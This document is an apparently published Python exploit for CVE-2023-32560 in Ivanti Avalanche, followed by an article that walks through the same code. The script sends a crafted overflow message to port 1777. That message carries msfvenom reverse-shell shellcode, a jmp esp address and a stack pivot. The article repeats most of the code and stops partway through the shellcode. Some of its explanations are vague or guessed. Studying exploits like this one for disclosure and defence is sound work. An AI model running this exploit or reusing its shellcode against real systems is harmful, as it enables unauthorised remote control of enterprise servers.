Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
"""
Exploit Title: Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
Date: 2023-08-16
Exploit Author: Robel Campbell (@RobelCampbell)
Vendor Homepage: https://www.ivanti.com/
Software Link: https://www.wavelink.com/download/Downloads.aspx?DownloadFile=27550&returnUrl=/Download-Avalanche_Mobile-Device-Management-Software/
Version: v6.4.0.0
Tested on: Windows 11 21H2
CVE: CVE-2023-32560
Reference: https://www.tenable.com/security/research/tra-2023-27
"""
import socket
import struct
import sys
# Create an item structure for the header and payload
class Item:
def __init__(self, type_, name, value):
self.type = type_
self.name = name.encode()
self.value = value
self.name_size = 0x5
self.value_size = 0x800
def pack(self):
return struct.pack('>III{}s{}s'.format(self.name_size, self.value_size),
self.type, self.name_size, self.value_size, self.name, self.value)
# Create a header structure
class HP:
def __init__(self, hdr, payload):
self.hdr = hdr
self.payload = payload
self.pad = b'\x00' * (16 - (len(self.hdr) + len(self.payload)) % 16)
def pack(self):
return b''.join([item.pack() for item in self.hdr]) + \
b''.join([item.pack() for item in self.payload]) + self.pad
# Create a preamble structure
class Preamble:
def __init__(self, hp):
self.msg_size = len(hp.pack()) + 16
self.hdr_size = sum([len(item.pack()) for item in hp.hdr])
self.payload_size = sum([len(item.pack()) for item in hp.payload])
self.unk = 0 # Unknown value
def pack(self):
return struct.pack('>IIII', self.msg_size, self.hdr_size, self.payload_size, self.unk)
# Create a message structure
class Msg:
def __init__(self, hp):
self.pre = Preamble(hp)
self.hdrpay = hp
def pack(self):
return self.pre.pack() + self.hdrpay.pack()
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.86.30 LPORT=4444 exitfunc=thread -f python
shellcode = b""
shellcode += b"fce8820000006089e531c064"
shellcode += b"8b50308b520c8b52148b7228"
shellcode += b"0fb74a2631ffac3c617c022c"
shellcode += b"20c1cf0d01c7e2f252578b52"
shellcode += b"108b4a3c8b4c1178e34801d1"
shellcode += b"518b592001d38b4918e33a49"
shellcode += b"8b348b01d631ffacc1cf0d01"
shellcode += b"c738e075f6037df83b7d2475"
shellcode += b"e4588b582401d3668b0c4b8b"
shellcode += b"581c01d38b048b01d0894424"
shellcode += b"245b5b61595a51ffe05f5f5a"
shellcode += b"8b12eb8d5d68333200006877"
shellcode += b"73325f54684c772607ffd5b8"
shellcode += b"9001000029c454506829806b"
shellcode += b"00ffd5505050504050405068"
shellcode += b"ea0fdfe0ffd5976a0568c0a8"
shellcode += b"561e680200115c89e66a1056"
shellcode += b"576899a57461ffd585c0740c"
shellcode += b"ff4e0875ec68f0b5a256ffd5"
shellcode += b"68636d640089e357575731f6"
shellcode += b"6a125956e2fd66c744243c01"
shellcode += b"018d442410c6004454505656"
shellcode += b"5646564e565653566879cc3f"
shellcode += b"86ffd589e04e5646ff306808"
shellcode += b"871d60ffd5bbe01d2a0a68a6"
shellcode += b"95bd9dffd53c067c0a80fbe0"
shellcode += b"7505bb4713726f6a0053ffd5"
buf = b'90' * 340
buf += b'812b4100' # jmp esp (0x00412b81)
buf += b'90909090'
buf += b'90909090'
buf += shellcode
buf += b'41' * 80
buf += b'84d45200' # stack pivot: add esp, 0x00000FA0 ; retn 0x0004 ; (0x0052d484)
buf += b'43' * (0x800 - len(buf))
buf2 = b'41' * 0x1000
# Create message payload
hdr = [Item(3, "pwned", buf)]
payload = [Item(3, "pwned", buf2)] # dummy payload, probabaly not necessary
hp_instance = HP(hdr, payload)
msg_instance = Msg(hp_instance)
# Default port
port = 1777
# check for target host argument
if len(sys.argv) > 1:
host = sys.argv[1]
else:
print("Usage: python3 CVE-2023-32560.py <host ip>")
sys.exit()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
s.sendall(msg_instance.pack())
print("Message sent!")
s.close() Exploiting Ivanti Avalanche <v6.4.0.0: A Deep Dive into CVE-2023-32560 Remote Code Execution
On August 16, 2023, cybersecurity researcher Robel Campbell (@RobelCampbell) disclosed a critical vulnerability in Ivanti Avalanche, a widely used mobile device management (MDM) platform. The flaw, identified as CVE-2023-32560, enables remote code execution (RCE) on systems running versions prior to v6.4.0.0. This vulnerability has far-reaching implications for enterprises relying on Ivanti’s software for managing enterprise mobile devices, especially in environments where unauthenticated network access is permitted.
Understanding the Vulnerability: Architecture and Attack Surface
Ivanti Avalanche leverages a proprietary binary protocol for communication between client and server components. This protocol is structured around a hierarchical message format, composed of headers, payloads, and padding. The core of the exploit lies in how the system handles untrusted input during the parsing of these structured messages.
The vulnerability arises from improper validation of user-supplied data within the payload section of a message. Specifically, the software fails to enforce size limits and perform type checks on dynamically loaded values, allowing an attacker to inject a malicious payload that triggers arbitrary code execution when processed.
As detailed in the Tenable Research report, the exploit chain involves crafting a malicious message that manipulates the structure of the protocol to bypass integrity checks and redirect execution flow into attacker-controlled code.
Exploit Mechanics: Message Structure and Payload Injection
The exploit relies on a carefully constructed message using a defined protocol format. Below is a breakdown of the key components:
class Item:
def __init__(self, type_, name, value):
self.type = type_
self.name = name.encode()
self.value = value
self.name_size = 0x5
self.value_size = 0x800
def pack(self):
return struct.pack('>III{}s{}s'.format(self.name_size, self.value_size),
self.type, self.name_size, self.value_size, self.name, self.value)
This Item class defines a structured data element within the message. The struct.pack function uses big-endian byte ordering (denoted by '>') to ensure consistent interpretation across platforms. The fields include:
- type: A 32-bit integer identifying the data type (e.g., string, integer, blob).
- name_size: Fixed size (0x5 = 5 bytes) for the name field.
- value_size: Fixed size (0x800 = 2048 bytes) for the value field.
- name: Encoded string name (e.g., "command", "user", "payload").
- value: The actual payload data.
By setting value_size to a fixed large value (0x800), the protocol assumes the value field will always be 2048 bytes long. However, the vulnerability occurs when the actual payload exceeds this limit, or when the data type is manipulated to trigger unexpected behavior during deserialization.
Constructing the Exploit Message
The exploit uses a layered message structure involving:
- Preamble: Contains metadata like message size, header size, and payload size.
- Header/Payload: Contains structured
Itemelements. - Padding: Ensures alignment to 16-byte boundaries for cryptographic or memory alignment purposes.
class HP:
def __init__(self, hdr, payload):
self.hdr = hdr
self.payload = payload
self.pad = b'\x00' * (16 - (len(self.hdr) + len(self.payload)) % 16)
def pack(self):
return b''.join([item.pack() for item in self.hdr]) + \
b''.join([item.pack() for item in self.payload]) + self.pad
This HP class combines header and payload items into a single block, with padding added to maintain alignment. The padding is critical because the Ivanti protocol may rely on aligned memory reads during parsing.
class Preamble:
def __init__(self, hp):
self.msg_size = len(hp.pack()) + 16
self.hdr_size = sum([len(item.pack()) for item in hp.hdr])
self.payload_size = sum([len(item.pack()) for item in hp.payload])
self.unk = 0
def pack(self):
return struct.pack('>IIII', self.msg_size, self.hdr_size, self.payload_size, self.unk)
The Preamble class computes the total message size and provides metadata for the parser. The struct.pack('>IIII') ensures the size fields are correctly formatted. The unk field is set to 0, but could potentially be manipulated in advanced attacks.
class Msg:
def __init__(self, hp):
self.pre = Preamble(hp)
self.hdrpay = hp
def pack(self):
return self.pre.pack() + self.hdrpay.pack()
Finally, the Msg class combines the preamble and the header-payload block into a complete message. This message is sent over TCP to the Ivanti Avalanche server, which then attempts to parse it.
Shellcode Injection and Execution
Once the message is crafted, the attacker injects a shellcode into the payload. The example below is generated via msfvenom:
shellcode = b""
shellcode += b"fce8820000006089e531c064"
shellcode += b"8b50308b520c8b52148b7228"
shellcode += b"0fb74a2631ffac3c617c022c"
shellcode += b"20c1cf0d01c7e2f252578b52"
shellcode += b"108b4a3c8b4c1178e34801d1"
shellcode += b"518b592001d38b4918e33a49"
shellcode += b"8b348b01d631ffacc1cf0d01"
shellcode += b"c738e075f6037df83b7d2475"
shellcode += b"e4588b582401d3668b0c4b8b"
shellcode += b"581c01d38b048b01d0894424"
shellcode += b"245b5b61595a51ffe05f5f5a"
shellcode += b"8b12eb8d5d68333200006877"
shellcode += b"73325f54684c772607ffd5b8"
shellcode += b"9001000029c454506829806b"
shellcode += b"00ffd5505050504050405068"
shellcode += b"ea0fdfe0ffd5976a0568c0a8"
shellcode += b"561e680200115c89e66a1056"
shellcode += b"576899a57461ffd585c0740c"
shellcode += b"ff4e0875ec68f0b5a256ffd5"
shellcode += b"68636d640089e357575731f6"
shellcode += b"6a125956e2fd66c744243c01"